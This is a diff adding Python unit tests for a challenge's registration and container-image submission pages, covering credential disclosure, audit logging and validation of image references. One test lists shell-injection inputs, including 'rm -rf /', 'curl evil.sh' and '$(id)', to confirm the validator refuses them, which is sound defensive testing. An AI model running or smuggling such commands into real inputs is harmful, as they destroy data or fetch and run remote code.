patcher = mock.patch.object(config, "TEST_PHASE_OPEN", True)
|
| 461 |
+
patcher.start()
|
| 462 |
+
self.addCleanup(patcher.stop)
|
| 463 |
+
self.results = [
|
| 464 |
+
{"status": "FINISHED", "hf_user": "alice", "team_name": "Team A"},
|
| 465 |
+
{"status": "FINISHED", "hf_user": "bob", "team_name": "Team B"},
|
| 466 |
+
]
|
| 467 |
+
self.shortlist = {"subtracks": [
|
| 468 |
+
{"track": "convqa", "division": "large", "shortlist": [
|
| 469 |
+
{"team_name": "Team A", "model_name": "ValModel",
|
| 470 |
+
"total_params": 7_000_000_000}]},
|
| 471 |
+
{"track": "longqa", "division": "small", "shortlist": [
|
| 472 |
+
{"team_name": "Team A", "model_name": "ValSmall",
|
| 473 |
+
"total_params": 1_000_000_000}]},
|
| 474 |
+
]}
|
| 475 |
+
self.credentials = {"Team A": CRED}
|
| 476 |
+
|
| 477 |
+
def _issue(self, user, team, params=7, api=None, track="convqa",
|
| 478 |
+
division="large", members="Ada Lovelace, ada@example.com",
|
| 479 |
+
poc="ada@example.com", model="TestModel"):
|
| 480 |
+
api = api or FakeApi(results=self.results)
|
| 481 |
+
dl = _download_factory(self.tmp, api, self.shortlist, self.credentials)
|
| 482 |
+
with mock.patch("huggingface_hub.hf_hub_download", dl):
|
| 483 |
+
ok, msg = rt.issue(
|
| 484 |
+
api, user, team, track, division, members, poc, model, params
|
| 485 |
+
)
|
| 486 |
+
return ok, msg, api
|
| 487 |
+
|
| 488 |
+
def test_a_verified_team_is_shown_its_credentials(self):
|
| 489 |
+
ok, msg, _ = self._issue("alice", "Team A")
|
| 490 |
+
self.assertTrue(ok, msg)
|
| 491 |
+
self.assertIn(REPO_URI, msg)
|
| 492 |
+
self.assertIn(KEY_ID, msg)
|
| 493 |
+
self.assertIn(SECRET, msg)
|
| 494 |
+
self.assertIn("EgoConv", msg)
|
| 495 |
+
|
| 496 |
+
def test_the_declared_size_is_shown_back_to_the_team(self):
|
| 497 |
+
ok, msg, _ = self._issue("alice", "Team A", params=7)
|
| 498 |
+
self.assertTrue(ok, msg)
|
| 499 |
+
self.assertIn("7B total parameters", msg)
|
| 500 |
+
|
| 501 |
+
def test_the_disclosure_is_recorded_with_the_declaration_and_no_secret(self):
|
| 502 |
+
# 1.5B is a Small model, so it must be registered under longqa/small;
|
| 503 |
+
# declaring it as Large is now refused by check_division.
|
| 504 |
+
ok, _, api = self._issue(
|
| 505 |
+
"alice", "Team A", params=1.5, track="longqa", division="small"
|
| 506 |
+
)
|
| 507 |
+
self.assertTrue(ok)
|
| 508 |
+
self.assertEqual(len(api.uploads), 1)
|
| 509 |
+
row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
|
| 510 |
+
self.assertEqual(row["hf_user"], "alice")
|
| 511 |
+
self.assertEqual(row["declared_total_params"], 1_500_000_000)
|
| 512 |
+
self.assertEqual(row["access_key_id"], KEY_ID)
|
| 513 |
+
self.assertNotIn("secret_access_key", row)
|
| 514 |
+
self.assertNotIn(SECRET, json.dumps(row))
|
| 515 |
+
|
| 516 |
+
def test_the_model_name_is_required_and_recorded(self):
|
| 517 |
+
ok, msg, _ = self._issue("alice", "Team A", model=" ")
|
| 518 |
+
self.assertFalse(ok)
|
| 519 |
+
self.assertIn("name of the model", msg)
|
| 520 |
+
|
| 521 |
+
ok, _, api = self._issue("alice", "Team A", model="MyNewModel-8B")
|
| 522 |
+
self.assertTrue(ok)
|
| 523 |
+
row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
|
| 524 |
+
self.assertEqual("MyNewModel-8B", row["model_name"])
|
| 525 |
+
|
| 526 |
+
def test_the_roster_and_its_point_of_contact_reach_the_ledger(self):
|
| 527 |
+
ok, _, api = self._issue(
|
| 528 |
+
"alice", "Team A",
|
| 529 |
+
members="Ada Lovelace, ada@example.com\nAlan Turing, alan@example.org",
|
| 530 |
+
poc="alan@example.org",
|
| 531 |
+
)
|
| 532 |
+
self.assertTrue(ok)
|
| 533 |
+
row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
|
| 534 |
+
self.assertEqual(
|
| 535 |
+
[{"name": "Ada Lovelace", "email": "ada@example.com"},
|
| 536 |
+
{"name": "Alan Turing", "email": "alan@example.org"}],
|
| 537 |
+
row["members"],
|
| 538 |
+
)
|
| 539 |
+
# The contact of record is the signed-in account and the human behind
|
| 540 |
+
# it, together: that account is the one matched against the shortlist,
|
| 541 |
+
# so the address we write to belongs to someone verified to hold a seat.
|
| 542 |
+
self.assertEqual(
|
| 543 |
+
{"hf_user": "alice", "name": "Alan Turing", "email": "alan@example.org"},
|
| 544 |
+
row["poc"],
|
| 545 |
+
)
|
| 546 |
+
self.assertEqual("alice", row["hf_user"])
|
| 547 |
+
|
| 548 |
+
def test_a_point_of_contact_off_the_roster_is_refused_before_the_ledger(self):
|
| 549 |
+
ok, msg, api = self._issue(
|
| 550 |
+
"alice", "Team A",
|
| 551 |
+
members="Ada, ada@example.com", poc="stranger@example.com",
|
| 552 |
+
)
|
| 553 |
+
self.assertFalse(ok)
|
| 554 |
+
self.assertIn("not one of the team members", msg)
|
| 555 |
+
self.assertEqual([], api.uploads)
|
| 556 |
+
|
| 557 |
+
def test_the_row_records_the_validation_entry_it_is_compared_against(self):
|
| 558 |
+
ok, _, api = self._issue("alice", "Team A")
|
| 559 |
+
self.assertTrue(ok)
|
| 560 |
+
row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
|
| 561 |
+
self.assertEqual("ValModel", row["val_model_name"])
|
| 562 |
+
self.assertEqual(7_000_000_000, row["val_total_params"])
|
| 563 |
+
self.assertFalse(row["size_discrepancy"])
|
| 564 |
+
|
| 565 |
+
def test_a_different_model_is_accepted_and_the_seat_is_shown(self):
|
| 566 |
+
# The decision on record: a team may bring a different model. This must
|
| 567 |
+
# succeed, and the page must say which entry earned the seat.
|
| 568 |
+
ok, msg, _ = self._issue("alice", "Team A", model="CompletelyDifferent")
|
| 569 |
+
self.assertTrue(ok, msg)
|
| 570 |
+
self.assertIn("ValModel", msg)
|
| 571 |
+
self.assertIn("do not have to submit that same model", msg)
|
| 572 |
+
|
| 573 |
+
def test_an_order_of_magnitude_change_is_noted_but_still_succeeds(self):
|
| 574 |
+
# 100B against the 7B this seat was won with: 14x, and still Large, so
|
| 575 |
+
# the division check does not intercept it.
|
| 576 |
+
ok, msg, api = self._issue("alice", "Team A", params=100)
|
| 577 |
+
self.assertTrue(ok, msg)
|
| 578 |
+
self.assertIn("more than 10x", msg)
|
| 579 |
+
row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
|
| 580 |
+
self.assertTrue(row["size_discrepancy"])
|
| 581 |
+
|
| 582 |
+
def test_a_tiny_declaration_inside_small_is_noted(self):
|
| 583 |
+
# The case this exists for. The longqa/small seat was won with a 1B
|
| 584 |
+
# declaration; 1M is inside the Small band, so the division check lets
|
| 585 |
+
# it through and only the comparison against validation catches it.
|
| 586 |
+
# This is the EgoProactive pattern: near-perfect scores declared at
|
| 587 |
+
# 91k and 1M parameters.
|
| 588 |
+
ok, msg, api = self._issue(
|
| 589 |
+
"alice", "Team A", params=0.001, track="longqa", division="small"
|
| 590 |
+
)
|
| 591 |
+
self.assertTrue(ok, msg)
|
| 592 |
+
self.assertIn("more than 10x", msg)
|
| 593 |
+
row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
|
| 594 |
+
self.assertTrue(row["size_discrepancy"])
|
| 595 |
+
|
| 596 |
+
def test_a_declaration_the_division_check_rejects_never_reaches_the_ledger(self):
|
| 597 |
+
# 7M declared as Large: refused on the division, and the clearer message
|
| 598 |
+
# wins over the size note.
|
| 599 |
+
ok, msg, api = self._issue("alice", "Team A", params=0.007)
|
| 600 |
+
self.assertFalse(ok)
|
| 601 |
+
self.assertIn("more than 2B", msg)
|
| 602 |
+
self.assertEqual([], api.uploads)
|
| 603 |
+
|
| 604 |
+
def test_nothing_is_disclosed_if_the_ledger_write_fails(self):
|
| 605 |
+
# A shown-but-unlogged credential is permanently unaccountable, so the
|
| 606 |
+
# ledger failing must cost the team a retry, not the audit trail.
|
| 607 |
+
api = FakeApi(results=self.results, fail_upload=True)
|
| 608 |
+
ok, msg, _ = self._issue("alice", "Team A", api=api)
|
| 609 |
+
self.assertFalse(ok)
|
| 610 |
+
self.assertNotIn(SECRET, msg)
|
| 611 |
+
self.assertNotIn(KEY_ID, msg)
|
| 612 |
+
|
| 613 |
+
def test_no_refusal_path_leaks_any_part_of_a_credential(self):
|
| 614 |
+
# Swept across every refusal rather than the ones that look risky.
|
| 615 |
+
cases = [
|
| 616 |
+
("bob", "Team B", 7), # real competitor, not shortlisted
|
| 617 |
+
("bob", "Team A", 7), # right team name, wrong account
|
| 618 |
+
("mallory", "Team A", 7), # never competed
|
| 619 |
+
("alice", "", 7), # no team name
|
| 620 |
+
("alice", "Team A", None), # no declared size
|
| 621 |
+
("alice", "Team A", 0), # zero declared size
|
| 622 |
+
("alice", "Team A", "abc"), # malformed size
|
| 623 |
+
]
|
| 624 |
+
for user, team, params in cases:
|
| 625 |
+
ok, msg, _ = self._issue(user, team, params)
|
| 626 |
+
self.assertFalse(ok, f"{user}/{team}/{params} should be refused")
|
| 627 |
+
for leak in (SECRET, KEY_ID, REPO_URI):
|
| 628 |
+
self.assertNotIn(leak, msg, f"{user}/{team}/{params} leaked a credential")
|
| 629 |
+
|
| 630 |
+
def test_a_bad_declaration_is_refused_before_any_network_read(self):
|
| 631 |
+
# An instant answer for a typo, and a malformed registration that never
|
| 632 |
+
# reaches the ledger.
|
| 633 |
+
#
|
| 634 |
+
# Asserted by COUNTING the reads, not by raising from the fake: issue()
|
| 635 |
+
# wraps the dataset reads in `except Exception`, so an exception thrown
|
| 636 |
+
# from the download is swallowed and returns a refusal that looks
|
| 637 |
+
# identical to this one. A control that reorders the parse proved that
|
| 638 |
+
# version of this test vacuous.
|
| 639 |
+
api = FakeApi(results=self.results)
|
| 640 |
+
calls = []
|
| 641 |
+
real = _download_factory(self.tmp, api, self.shortlist, self.credentials)
|
| 642 |
+
|
| 643 |
+
def counting(*a, **kw):
|
| 644 |
+
calls.append(a[1] if len(a) > 1 else kw.get("filename"))
|
| 645 |
+
return real(*a, **kw)
|
| 646 |
+
|
| 647 |
+
with mock.patch("huggingface_hub.hf_hub_download", counting):
|
| 648 |
+
ok, msg = rt.issue(api, "alice", "Team A", "convqa", "large",
|
| 649 |
+
"Ada, ada@example.com", "ada@example.com",
|
| 650 |
+
"TestModel", None)
|
| 651 |
+
self.assertFalse(ok)
|
| 652 |
+
self.assertEqual(calls, [], "read the datasets despite a bad declaration")
|
| 653 |
+
self.assertEqual(api.uploads, [])
|
| 654 |
+
self.assertIn("frozen backbone", msg)
|
| 655 |
+
|
| 656 |
+
def test_a_shortlisted_team_with_no_deposited_key_is_not_blamed(self):
|
| 657 |
+
self.credentials = {}
|
| 658 |
+
ok, msg, api = self._issue("alice", "Team A")
|
| 659 |
+
self.assertFalse(ok)
|
| 660 |
+
self.assertIn("on our side", msg)
|
| 661 |
+
self.assertEqual(api.uploads, [])
|
| 662 |
+
|
| 663 |
+
def test_registration_is_closed_until_the_phase_opens(self):
|
| 664 |
+
with mock.patch.object(config, "TEST_PHASE_OPEN", False):
|
| 665 |
+
ok, msg, api = self._issue("alice", "Team A")
|
| 666 |
+
self.assertFalse(ok)
|
| 667 |
+
self.assertEqual(api.uploads, [])
|
| 668 |
+
|
| 669 |
+
def test_re_registering_shows_the_same_credentials_and_logs_both(self):
|
| 670 |
+
# A team that loses the page must be able to get it back, and the ledger
|
| 671 |
+
# is the record of how many times a key was shown, not a lock.
|
| 672 |
+
api = FakeApi(results=self.results)
|
| 673 |
+
first = self._issue("alice", "Team A", api=api)
|
| 674 |
+
second = self._issue("alice", "Team A", api=api)
|
| 675 |
+
self.assertTrue(first[0] and second[0])
|
| 676 |
+
self.assertEqual(first[1], second[1])
|
| 677 |
+
self.assertEqual(len(api.uploads), 2)
|
| 678 |
+
|
| 679 |
+
def test_eligibility_data_being_unavailable_does_not_read_as_ineligible(self):
|
| 680 |
+
api = FakeApi(results=self.results)
|
| 681 |
+
|
| 682 |
+
def explode(*a, **kw):
|
| 683 |
+
raise OSError("hub down")
|
| 684 |
+
|
| 685 |
+
with mock.patch("huggingface_hub.hf_hub_download", explode):
|
| 686 |
+
ok, msg = rt.issue(api, "alice", "Team A", "convqa", "large",
|
| 687 |
+
"Ada, ada@example.com", "ada@example.com",
|
| 688 |
+
"TestModel", 7)
|
| 689 |
+
self.assertFalse(ok)
|
| 690 |
+
self.assertIn("retry", msg)
|
| 691 |
+
self.assertNotIn("not on the test-phase shortlist", msg)
|
| 692 |
+
# The raw exception carries private repo paths; it must not reach a user.
|
| 693 |
+
self.assertNotIn("hub down", msg)
|
| 694 |
+
|
| 695 |
+
|
| 696 |
+
if __name__ == "__main__":
|
| 697 |
+
unittest.main()
|
tests/test_submit_test.py
ADDED
|
@@ -0,0 +1,682 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""Tests for the test-phase Submit path.
|
| 3 |
+
|
| 4 |
+
Hermetic: no network, no HF. The HfApi and hf_hub_download the module reaches for
|
| 5 |
+
are injected as fakes, which is why count_test_submissions() takes an api object
|
| 6 |
+
rather than building one.
|
| 7 |
+
|
| 8 |
+
The test that matters most here is the last class. This module writes a
|
| 9 |
+
request.json that the organizers' evaluation worker, which lives outside this
|
| 10 |
+
repository, has to accept, and nothing at import time can check that. So the worker's
|
| 11 |
+
contract is restated as a fixture and asserted against, and the assertion names
|
| 12 |
+
the file to change on the other side when it moves.
|
| 13 |
+
|
| 14 |
+
python3 tests/test_submit_test.py
|
| 15 |
+
"""
|
| 16 |
+
|
| 17 |
+
from __future__ import annotations
|
| 18 |
+
|
| 19 |
+
import json
|
| 20 |
+
import os
|
| 21 |
+
import re
|
| 22 |
+
import sys
|
| 23 |
+
import tempfile
|
| 24 |
+
import unittest
|
| 25 |
+
from unittest import mock
|
| 26 |
+
|
| 27 |
+
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
|
| 28 |
+
|
| 29 |
+
import config # noqa: E402
|
| 30 |
+
import submit_test as st # noqa: E402
|
| 31 |
+
|
| 32 |
+
|
| 33 |
+
REGISTRY = "123456789012.dkr.ecr.us-east-2.amazonaws.com"
|
| 34 |
+
REPO = "wearable-ai-2026/team-a"
|
| 35 |
+
REF = f"{REGISTRY}/{REPO}"
|
| 36 |
+
DIGEST = "sha256:" + "a" * 64
|
| 37 |
+
|
| 38 |
+
|
| 39 |
+
class FakeApi:
|
| 40 |
+
"""Stands in for HfApi. Records uploads; serves a canned file listing."""
|
| 41 |
+
|
| 42 |
+
def __init__(self, files=None, token="t"):
|
| 43 |
+
self._files = files or []
|
| 44 |
+
self.token = token
|
| 45 |
+
self.uploads = []
|
| 46 |
+
|
| 47 |
+
def list_repo_files(self, repo_id, repo_type=None):
|
| 48 |
+
return list(self._files)
|
| 49 |
+
|
| 50 |
+
def upload_file(self, *, path_or_fileobj, path_in_repo, repo_id, repo_type,
|
| 51 |
+
commit_message):
|
| 52 |
+
body = path_or_fileobj.read() if hasattr(path_or_fileobj, "read") else path_or_fileobj
|
| 53 |
+
self.uploads.append((path_in_repo, body, commit_message))
|
| 54 |
+
|
| 55 |
+
|
| 56 |
+
class ParseImageRefTest(unittest.TestCase):
|
| 57 |
+
def test_a_well_formed_pair_is_accepted(self):
|
| 58 |
+
ok, why = st.parse_image_ref(REF, DIGEST)
|
| 59 |
+
self.assertTrue(ok, why)
|
| 60 |
+
|
| 61 |
+
def test_surrounding_whitespace_is_tolerated(self):
|
| 62 |
+
ok, why = st.parse_image_ref(f" {REF} ", f"\t{DIGEST}\n")
|
| 63 |
+
self.assertTrue(ok, why)
|
| 64 |
+
|
| 65 |
+
def test_an_empty_reference_is_named(self):
|
| 66 |
+
self.assertIn("Image reference", st.parse_image_ref("", "")[1])
|
| 67 |
+
|
| 68 |
+
def test_a_bare_repository_with_nothing_to_pin_it_is_refused(self):
|
| 69 |
+
# Re-pointed 2026-08-06: the digest used to be its own field, so a bare
|
| 70 |
+
# repository was valid input. One field now carries both parts, and a
|
| 71 |
+
# repository on its own names no particular image.
|
| 72 |
+
ok, why = st.parse_image_ref(REF, "")
|
| 73 |
+
self.assertFalse(ok)
|
| 74 |
+
self.assertIn("Add the tag you pushed, or the digest", why)
|
| 75 |
+
|
| 76 |
+
def test_the_legacy_separate_digest_field_still_works(self):
|
| 77 |
+
# An older client, or a participant following older instructions, sends
|
| 78 |
+
# the two parts separately. That must not be turned away.
|
| 79 |
+
self.assertTrue(st.parse_image_ref(REF, DIGEST)[0])
|
| 80 |
+
|
| 81 |
+
def test_a_reference_carrying_its_own_digest_is_the_normal_form(self):
|
| 82 |
+
# Re-pointed 2026-08-06. This used to assert the opposite: the form had
|
| 83 |
+
# two fields and a reference carrying its own digest was refused. It is
|
| 84 |
+
# now what participants are asked for, because it is exactly what
|
| 85 |
+
# `docker push` prints.
|
| 86 |
+
self.assertTrue(st.parse_image_ref(f"{REF}@{DIGEST}", "")[0])
|
| 87 |
+
|
| 88 |
+
def test_giving_the_digest_twice_is_refused_rather_than_guessed_at(self):
|
| 89 |
+
ok, why = st.parse_image_ref(f"{REF}@{DIGEST}", "sha256:" + "b" * 64)
|
| 90 |
+
self.assertFalse(ok)
|
| 91 |
+
self.assertIn("Two different digests", why)
|
| 92 |
+
|
| 93 |
+
def test_a_tag_is_refused_while_the_worker_cannot_resolve_one(self):
|
| 94 |
+
# The worker validates image_digest against ^sha256:...$ and would
|
| 95 |
+
# reject a tag at intake, so accepting one here first would let a team
|
| 96 |
+
# spend a submission on a reference that can never be scored.
|
| 97 |
+
self.assertFalse(config.TEST_ACCEPT_IMAGE_TAG)
|
| 98 |
+
ok, why = st.parse_image_ref(f"{REF}:v1", "")
|
| 99 |
+
self.assertFalse(ok)
|
| 100 |
+
self.assertIn("Give the digest rather than the tag", why)
|
| 101 |
+
|
| 102 |
+
def test_flipping_one_flag_is_what_enables_tags(self):
|
| 103 |
+
# Pins the claim in the config comment: the Space side is written and
|
| 104 |
+
# tested, and turning it on is a one-constant change made together with
|
| 105 |
+
# the worker.
|
| 106 |
+
with mock.patch.object(config, "TEST_ACCEPT_IMAGE_TAG", True):
|
| 107 |
+
self.assertTrue(st.parse_image_ref(f"{REF}:v1", "")[0])
|
| 108 |
+
self.assertTrue(st.parse_image_ref(f"{REF}:v1.2_3-rc4", "")[0])
|
| 109 |
+
# A tag and a digest together is ambiguous either way.
|
| 110 |
+
self.assertFalse(st.parse_image_ref(f"{REF}:v1", DIGEST)[0])
|
| 111 |
+
# Still an ECR repository, still a usable tag.
|
| 112 |
+
self.assertFalse(st.parse_image_ref("docker.io/x/y:v1", "")[0])
|
| 113 |
+
self.assertFalse(st.parse_image_ref(f"{REF}:-nope", "")[0])
|
| 114 |
+
|
| 115 |
+
def test_a_registry_port_does_not_get_mistaken_for_a_tag(self):
|
| 116 |
+
# Splitting on the first colon would tear `host:5000/repo` apart. The
|
| 117 |
+
# split happens after the last slash for exactly this reason.
|
| 118 |
+
repo, sep, suffix = st._split_image_ref("host:5000/team/img")
|
| 119 |
+
self.assertEqual(("host:5000/team/img", "", ""), (repo, sep, suffix))
|
| 120 |
+
repo, sep, suffix = st._split_image_ref("host:5000/team/img:v1")
|
| 121 |
+
self.assertEqual(("host:5000/team/img", ":", "v1"), (repo, sep, suffix))
|
| 122 |
+
|
| 123 |
+
def test_non_ecr_registries_are_refused(self):
|
| 124 |
+
for bad in (
|
| 125 |
+
"docker.io/evil/image",
|
| 126 |
+
"ghcr.io/team/model",
|
| 127 |
+
"registry.example.com/x",
|
| 128 |
+
f"http://{REGISTRY}/{REPO}",
|
| 129 |
+
f"{REGISTRY}/UPPERCASE",
|
| 130 |
+
"12345.dkr.ecr.us-east-2.amazonaws.com/short-account",
|
| 131 |
+
):
|
| 132 |
+
with self.subTest(ref=bad):
|
| 133 |
+
self.assertFalse(st.parse_image_ref(bad, DIGEST)[0])
|
| 134 |
+
|
| 135 |
+
def test_shell_metacharacters_cannot_survive_validation(self):
|
| 136 |
+
# The reference reaches a subprocess on the organizers' side.
|
| 137 |
+
for bad in (f"{REF}; rm -rf /", f"{REF} && curl evil.sh", f"{REF}$(id)", f"{REF}`id`"):
|
| 138 |
+
with self.subTest(ref=bad):
|
| 139 |
+
self.assertFalse(st.parse_image_ref(bad, DIGEST)[0])
|
| 140 |
+
|
| 141 |
+
def test_malformed_digests_are_refused(self):
|
| 142 |
+
for bad in ("latest", "sha256:tooshort", "sha256:" + "z" * 64,
|
| 143 |
+
DIGEST + "x", "sha256:" + "A" * 64, "md5:" + "a" * 32):
|
| 144 |
+
with self.subTest(digest=bad):
|
| 145 |
+
self.assertFalse(st.parse_image_ref(REF, bad)[0])
|
| 146 |
+
|
| 147 |
+
|
| 148 |
+
class ValidateOnlyTest(unittest.TestCase):
|
| 149 |
+
def _call(self, **over):
|
| 150 |
+
kw = dict(track="convqa", division="large", total_params=8_000_000_000,
|
| 151 |
+
active_params=8_000_000_000, image_ref=REF, image_digest=DIGEST)
|
| 152 |
+
kw.update(over)
|
| 153 |
+
return st.validate_only(**kw)
|
| 154 |
+
|
| 155 |
+
def test_a_valid_registration_passes_and_states_the_advertised_size(self):
|
| 156 |
+
"""Re-pointed 2026-08-06 from the per-division cap.
|
| 157 |
+
|
| 158 |
+
The organizers publish ONE number for both divisions and the form does
|
| 159 |
+
not refuse an over-size image, so the message must state the advertised
|
| 160 |
+
